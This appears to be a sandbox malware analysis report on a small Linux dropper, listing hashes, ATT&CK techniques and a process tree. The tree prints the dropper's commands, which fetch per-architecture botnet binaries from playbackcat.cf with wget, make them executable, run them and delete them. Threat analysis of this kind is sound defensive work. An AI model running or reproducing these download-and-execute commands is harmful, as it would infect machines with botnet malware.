01e9b679eb2132428fb9a7d8fc90f5d0d00cb90921133038991313d2225507e8

Analysis

max time kernel
0s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
17/10/2026, 04:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_01e9b679eb2132428fb9a7d8fc90f5d0d00cb90921133038991313d2225507e8.bin
Size 1KB
Sample261017-e6ft6awzew
SHA256 01e9b679eb2132428fb9a7d8fc90f5d0d00cb90921133038991313d2225507e8
MD5 aea53017b5dda9428b4d21ac7d5446b9
SHA1 84f52eced3a2c507f51e199cd887de6c57c3cd1b
SHA512 2a762fca5b9f532ed31508a7ba65923b0499a359948fbb5cd801e0865ed7d8489c0ecc74a4230971981e76f306869850554cc5c61d5e09c5c94416381495174c
TLSH
T166113D8A30A30872BCB0DC67757A8E0471D4E8EE24D96F6929FF36FA405FE087841653
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1502	chmod
1506	chmod
1510	chmod
1482	chmod
1487	chmod
1494	chmod
1498	chmod

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1477	wget
1483	bok.mips
1484	rm

/tmp/jaffacakes118_01e9b679eb2132428fb9a7d8fc90f5d0d00cb90921133038991313d2225507e8.bin
/tmp/jaffacakes118_01e9b679eb2132428fb9a7d8fc90f5d0d00cb90921133038991313d2225507e8.bin
1⤵
PID:1476
- /usr/bin/wget
  wget http://playbackcat.cf/.oKA31/bok.mips
  2⤵
  - System Network Configuration Discovery
  PID:1477
- /bin/chmod
  chmod +x bok.mips
  2⤵
  - File and Directory Permissions Modification
  PID:1482
- /tmp/bok.mips
  ./bok.mips mips
  2⤵
  - System Network Configuration Discovery
  PID:1483
- /bin/rm
  rm -rf bok.mips
  2⤵
  - System Network Configuration Discovery
  PID:1484
- /usr/bin/wget
  wget http://playbackcat.cf/.oKA31/bok.mpsl
  2⤵
  PID:1485
- /bin/chmod
  chmod +x bok.mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:1487
- /tmp/bok.mpsl
  ./bok.mpsl mpsl
  2⤵
  PID:1488
- /bin/rm
  rm -rf bok.mpsl
  2⤵
  PID:1489
- /usr/bin/wget
  wget http://playbackcat.cf/.oKA31/bok.arm4
  2⤵
  PID:1490
- /bin/chmod
  chmod +x bok.arm4
  2⤵
  - File and Directory Permissions Modification
  PID:1494
- /tmp/bok.arm4
  ./bok.arm4 arm4
  2⤵
  PID:1495
- /bin/rm
  rm -rf bok.arm4
  2⤵
  PID:1496
- /usr/bin/wget
  wget http://playbackcat.cf/.oKA31/bok.arm5
  2⤵
  PID:1497
- /bin/chmod
  chmod +x bok.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:1498
- /tmp/bok.arm5
  ./bok.arm5 arm5
  2⤵
  PID:1499
- /bin/rm
  rm -rf bok.arm5
  2⤵
  PID:1500
- /usr/bin/wget
  wget http://playbackcat.cf/.oKA31/bok.arm7
  2⤵
  PID:1501
- /bin/chmod
  chmod +x bok.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:1502
- /tmp/bok.arm7
  ./bok.arm7 arm7
  2⤵
  PID:1503
- /bin/rm
  rm -rf bok.arm7
  2⤵
  PID:1504
- /usr/bin/wget
  wget http://playbackcat.cf/.oKA31/bok.arm6
  2⤵
  PID:1505
- /bin/chmod
  chmod +x bok.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/bok.arm6
  ./bok.arm6 arm6
  2⤵
  PID:1507
- /bin/rm
  rm -rf bok.arm6
  2⤵
  PID:1508
- /usr/bin/wget
  wget http://playbackcat.cf/.oKA31/bok.x86
  2⤵
  PID:1509
- /bin/chmod
  chmod +x bok.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1510
- /tmp/bok.x86
  ./bok.x86 new.x86
  2⤵
  PID:1511
- /bin/rm
  rm -rf bok.x86
  2⤵
  PID:1512

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads